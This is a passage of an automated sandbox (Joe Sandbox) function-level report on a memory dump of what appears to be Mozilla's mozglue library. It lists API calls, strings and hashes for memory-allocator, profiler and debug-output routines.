API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: d6e2b9523cc9571820f444ee461347fbacdda833adbe06eb5854329938694a34
Instruction ID: 077e0eba54e88c49933abc04fe1b5042058d6b49d945e901388225da02ebb5b4
Opcode Fuzzy Hash: d6e2b9523cc9571820f444ee461347fbacdda833adbe06eb5854329938694a34
Instruction Fuzzy Hash: 3B637F71E0025ACFCB04CFA8C8906DDF7B2FF99310F298669D859AB755E730A945CB90

Function 6C513E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C537770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>Ql,?,?,?,6C513E7D,?,?), ref: 6C53777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C513F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C513F5C
VerSetConditionMask.NTDLL ref: 6C513F8D
VerSetConditionMask.NTDLL ref: 6C513F99
VerSetConditionMask.NTDLL ref: 6C513FA0
VerSetConditionMask.NTDLL ref: 6C513FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C513FB4

Strings

C>Ql, xrefs: 6C513E93
nvd3d9wrap.dll, xrefs: 6C514466
nvinit.dll, xrefs: 6C514479

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>Ql$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-947918438
Opcode ID: 9a478ef4dd503a0f028a82c0ce03e5b7b327e70f50f2e2602cf926708a564b53
Instruction ID: be93751d23dc29b7c7e32b8488541a84d5618a6cc1945c1415c3851b8e56a7eb
Opcode Fuzzy Hash: 9a478ef4dd503a0f028a82c0ce03e5b7b327e70f50f2e2602cf926708a564b53
Instruction Fuzzy Hash: AD52F272614B498FD710DF34C894EAB77E9AF85308F45492DD4968BB42DB34F909CBA0

Function 6C4EFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7B8), ref: 6C4EFF81
LeaveCriticalSection.KERNEL32(6C55E7B8), ref: 6C4F022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C4F0240
EnterCriticalSection.KERNEL32(6C55E768), ref: 6C4F025B
LeaveCriticalSection.KERNEL32(6C55E768), ref: 6C4F027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4EFE99, 6C4EFEB7, 6C4EFED3, 6C4F0DB8, 6C4F0DD3, 6C4F19B4, 6C4F1A10
MOZ_CRASH(), xrefs: 6C4F0CA7

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: b1bf55d46fa0b31a020dcc4caaaa586c21b20244fa559fe049be0e622290d730
Instruction ID: 0be0ecd8a31981586b43d502becd83abb72e88ffaa5c7c758d1bbca9c5e24ae1
Opcode Fuzzy Hash: b1bf55d46fa0b31a020dcc4caaaa586c21b20244fa559fe049be0e622290d730
Instruction Fuzzy Hash: 82B27A71A057418FD714CF29C990F16BBE1AFC5328F28C66DE86A8B795D770E842CB81

Function 6C525600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

name, xrefs: 6C525E79, 6C525E8F
expected a Count entry, xrefs: 6C525AC3
schema, xrefs: 6C52606D
data, xrefs: 6C526131
expected a Time entry, xrefs: 6C525CB6
ProfileBuffer parse error: %s, xrefs: 6C525AC8, 6C525CBB

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: fed53b20dd99bf5f0f2ddd0f51c422cc93a75784ae0ba1bbc35aaff5abd139d8
Instruction ID: f4459c656e1fe41993df9aee1870f2b864e689264ea688f59dd1ad08bf61bd51
Opcode Fuzzy Hash: fed53b20dd99bf5f0f2ddd0f51c422cc93a75784ae0ba1bbc35aaff5abd139d8
Instruction Fuzzy Hash: 67924D71A083418FD724CF18C890B9BBBE1BFC9308F55891DE5999B795DB34E809CB92

Function 6C4E7810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E744), ref: 6C4E7885
LeaveCriticalSection.KERNEL32(6C55E744), ref: 6C4E78A5
EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4E78AD
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4E78CD
EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C4E78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C4E78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C4E795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C4E79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C4E7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C4E7C82
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C4E7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C4E7DAF

Strings

DUl, xrefs: 6C4E789F
DUl, xrefs: 6C4E787F

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: DUl$DUl
API String ID: 759993129-1314629681
Opcode ID: dcff855f389d20e31cdda68770ff273e6a17bf776c92fd1420f74e3fd61a97e9
Instruction ID: b2e3c68baef8eb1db0a2846cb80f9712ae96c5bc8fd1d81cbc9da62cad2f1476
Opcode Fuzzy Hash: dcff855f389d20e31cdda68770ff273e6a17bf776c92fd1420f74e3fd61a97e9
Instruction Fuzzy Hash: 32028331A052198FDB54CF18C984F99B7B5FF88329F6682AAD809A7711D770BD91CF80

Function 6C522E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C522ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C522EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C522F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C523214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C523242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5236BF

Strings

set , xrefs: 6C5236EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C52378D
get , xrefs: 6C523205

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: b16a9a349abc9f4bd777dfe1775c9b2fdfa121fb2c8c2302718ac08c49ec29ae
Instruction ID: d2f6e2e7fe3b7c9a34a85e522faf1d6b11578a59a772b548f4bc02d36529a481
Opcode Fuzzy Hash: b16a9a349abc9f4bd777dfe1775c9b2fdfa121fb2c8c2302718ac08c49ec29ae
Instruction Fuzzy Hash: 29326F746083818FD324CF24C890A9EBBE6AFC9318F548D1DE5D987791DB34E94ACB52

Function 6C517E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6C517E88
vUl, xrefs: 6C518207
name, xrefs: 6C517ECF, 6C518335
schema, xrefs: 6C5181E3, 6C518311
data, xrefs: 6C518280, 6C5183E1

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vUl
API String ID: 3412268980-1420529217
Opcode ID: fe1ce089d721584dc7f549895bd7647643e9c4bbea9d5c7eaadff0d075dc1f2a
Instruction ID: 51701d9768cd75cdcda7e2b82927c136578e1ded9be4d208505e01051fd2d05d
Opcode Fuzzy Hash: fe1ce089d721584dc7f549895bd7647643e9c4bbea9d5c7eaadff0d075dc1f2a
Instruction Fuzzy Hash: B3E17071A043448BD714CF68C840A5BFBE9BFC9318F558A2DE895D7790DBB0DD098B91

Function 6C535FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C536009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C536024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QMl,?), ref: 6C536046
OutputDebugStringA.KERNEL32(?,QMl,?), ref: 6C536061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C536069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C536073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C536082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C55148E), ref: 6C536091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QMl,00000000,?), ref: 6C5360BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5360C4

Strings

QMl, xrefs: 6C535FFC, 6C536042, 6C536045, 6C5360B3

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QMl
API String ID: 3835517998-1439696203
Opcode ID: 764789bccadd4cbb1cfc60d44e78efb532cf788e7fa8510586ba1420298443f1
Instruction ID: 03b2f784946ebf0a0da5de58f5c72874e34d19d9309acb398cd954644f84203d
Opcode Fuzzy Hash: 764789bccadd4cbb1cfc60d44e78efb532cf788e7fa8510586ba1420298443f1
Instruction Fuzzy Hash: A521E2B1A002189FDF106F24DC0DAAE7BB8FF45318F418428E81AD7240DB75A949CFD5

Function 6C4F5E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2
memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C4F7652

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4F7BCD, 6C4F7C1F, 6C4F7C34, 6C4F80FD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C4F730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C4F72F8
MOZ_CRASH(), xrefs: 6C4F7BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C4F72E3
ewSl, xrefs: 6C4F5E9C, 6C4F5F22, 6C4F61ED

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewSl
API String ID: 2613674957-934110803
Opcode ID: 471a4b36c541701944935b663dc348449109593398e64379b3ee682e9b66c5c9
Instruction ID: 254458958504f6f1f7f8086802df393892c8c06a3518d93701c5d736a17ce24b
Opcode Fuzzy Hash: 471a4b36c541701944935b663dc348449109593398e64379b3ee682e9b66c5c9
Instruction Fuzzy Hash: 3B336A716096018FD304CF28C590E15BBE2BFC6328F29C6ADE9798B7A5D775E842CB41

Function 6C524820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C524D65
-%llu, xrefs: 6C524825
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C524CAF
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C524DB8, 6C524DD8
Ul, xrefs: 6C524F88
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C524D0A
schema, xrefs: 6C5248C1
data, xrefs: 6C5249B4
ProfileBuffer parse error: %s, xrefs: 6C524DD9

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free
String ID: Ul$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-3414208028
Opcode ID: 7dfdf78ef7f14bac02d133c8d1c0d3c8d9b2eddcfd5f1c67289e7931cb438b5e
Instruction ID: f76165c75724aaebd457cc2e5c3601c16f97eb4f9c306066edc19ae094d63d57
Opcode Fuzzy Hash: 7dfdf78ef7f14bac02d133c8d1c0d3c8d9b2eddcfd5f1c67289e7931cb438b5e
Instruction Fuzzy Hash: 94722D75918B858BD322CF34C85179BF7E5BFDA344F108B1EE4896B650EB70A486CB42

Function 6C4FD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD4F2
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD50B

Part of subcall function 6C4DCFE0: EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4DCFF6
Part of subcall function 6C4DCFE0: LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD52E
EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C4FD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FD6A6
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C4FD712
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FD7EA

Strings

<jemalloc>, xrefs: 6C4FD827
: (malloc) Error initializing arena, xrefs: 6C4FD82C

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: dd3efa2a557a48857d78d1b8051724886eec2065dd7f4c4c14762ca72a6ed72e
Instruction ID: 50397f5a7c3896fa29774672b604e79ef33b7b974e101b16dfad2e227dd84485
Opcode Fuzzy Hash: dd3efa2a557a48857d78d1b8051724886eec2065dd7f4c4c14762ca72a6ed72e
Instruction Fuzzy Hash: 8F91E471A047418FD715CF28C890F2AB7E1EBC9314F55492EE56AC7B81D774E846CB82

Function 6C534EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C534EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C534F2E
moz_xmalloc.MOZGLUE ref: 6C534F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C534F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5352B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5352E6
Sleep.KERNEL32(00000010), ref: 6C535481
free.MOZGLUE(?), ref: 6C535498

Strings

(, xrefs: 6C535250

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: bba83d148bc5ac5d68c70657b7c5fe44b2f7fb86f1ad4a22e6caa3979bb202ae
Instruction ID: df93e01d51aeefb5d08d30ddb93ec9b3715ef8eda2c544a156baaec45dc6e089
Opcode Fuzzy Hash: bba83d148bc5ac5d68c70657b7c5fe44b2f7fb86f1ad4a22e6caa3979bb202ae
Instruction Fuzzy Hash: C1F1D371A18B108FC716DF39C85062BB7F5AFD6384F46872EF846A7651EB31D8428B81

Function 6C537030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C537046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C537060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C53707E

Part of subcall function 6C4E81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C4E81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C537096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C53709C
LocalFree.KERNEL32(?), ref: 6C5370AA

Strings

(null), xrefs: 6C53706A, 6C537083
### ERROR: %s: %s, xrefs: 6C537087

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 23545c3c9e3153241f0902cfa2564793b5b552698796f7d2d7c0ad15532ad7b2
Instruction ID: 680b2f12cf11072b32757df051b00e89864f3ed888385a1654facd0b4b492b24
Opcode Fuzzy Hash: 23545c3c9e3153241f0902cfa2564793b5b552698796f7d2d7c0ad15532ad7b2
Instruction Fuzzy Hash: 2901B9B1B00104AFDF04AB64DC4EDAF7BBCEF49215F860429FA05E7241E67169148BA5

Function 6C4F9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C4F9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C4F9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4F9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C4FA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4FA8B1, 6C4FA8D4, 6C4FA8EF

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: e256bdf683f38ca857ab39b286f56919948371c77497c0f153a825482babb1aa
Instruction ID: 92e649dd749f1d31834ced94b40f3cb96ce3d0bd4d213d78b196b51bd8525c27
Opcode Fuzzy Hash: e256bdf683f38ca857ab39b286f56919948371c77497c0f153a825482babb1aa
Instruction Fuzzy Hash: 2E725A72A156118FD704CF28C940E15FBE1BFC9328F2AC66DE8699B791D375E842CB81

Function 6C522C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C522C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C522C61

Part of subcall function 6C4D4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4D4E5A
Part of subcall function 6C4D4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4D4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C522C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C522E2D

Part of subcall function 6C4E81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C4E81DE

Strings

(root), xrefs: 6C52354F
expected a Time entry, xrefs: 6C522E36
ProfileBuffer parse error: %s, xrefs: 6C522E3B

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
